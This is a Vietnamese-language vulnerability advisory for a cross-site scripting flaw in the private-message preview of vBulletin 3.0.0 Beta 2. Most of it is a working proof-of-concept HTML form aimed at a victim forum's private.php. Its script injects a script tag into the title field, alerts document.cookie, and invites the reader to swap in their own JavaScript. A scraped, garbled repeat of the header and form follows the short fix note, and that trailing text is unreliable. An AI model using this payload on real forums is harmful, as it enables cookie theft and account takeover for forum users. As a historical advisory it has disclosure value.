VBulletin Preview Message - Lỗi XSS
VBulletin Preview Message - Lỗi XSStrang này đã được đọc lần Thông tin:Website: http://www.vbulletin.com/ Version bị lỗi: vBulletin 3.0.0 Beta 2 Version không bị: vBulletin 2.2 Code khai thác:Nhớ đăng nhập trước<html> <body> <form action="http://[victim]/forum/private.php" method="post" name="vbform"> <input type="hidden" name="do" value="insertpm" /> <input type="hidden" name="pmid" value="" /> <input type="hidden" name="forward" value="" /> <input type="hidden" name="receipt" value="0" /> <input type="text" class="bginput" name="title" value="" size="40" tabindex="2" /> <textarea name="message" rows="20" cols="70" wrap="virtual" tabindex="3"></textarea> <input type="submit" class="button" name="sbutton" value="Post Message" accesskey="s" tabindex="4" /> <input type="submit" class="button" value="Preview Message" accesskey="p" name="preview" onclick="this.form.dopreview = true; return true;this.form.submit()" tabindex="5" > <input type="checkbox" name="savecopy" value="1" id="cb_savecopy" checked="checked" /> <input type="checkbox" name="signature" value="1" id="cb_signature" /> <input type="checkbox" name="parseurl" value="1" id="cb_parseurl" checked="checked" /> <input type="checkbox" name="disablesmilies" value="1" id="cb_disablesmilies" /> </form> <script> //Set Values và Submit // Bạn có thể viết mã JS riêng của mình var xss = "\"><script>alert(document.cookie)<\/script>"; document.vbform.title.value=xss; document.vbform.preview.click(); </script> </body> </html>Giải pháp:HTML Encoding like post thread preview page . VBulletin Preview Message - Lỗi XSStrang này đã được đọc lần Thông tin:Website: http://www .vbulletin. com/ Version bị lỗi: vBulletin 3.0.0. value="Post Message& quot; accesskey="s" tabindex="4" /> <input type="submit" class="button" value=" ;Preview Message& quot;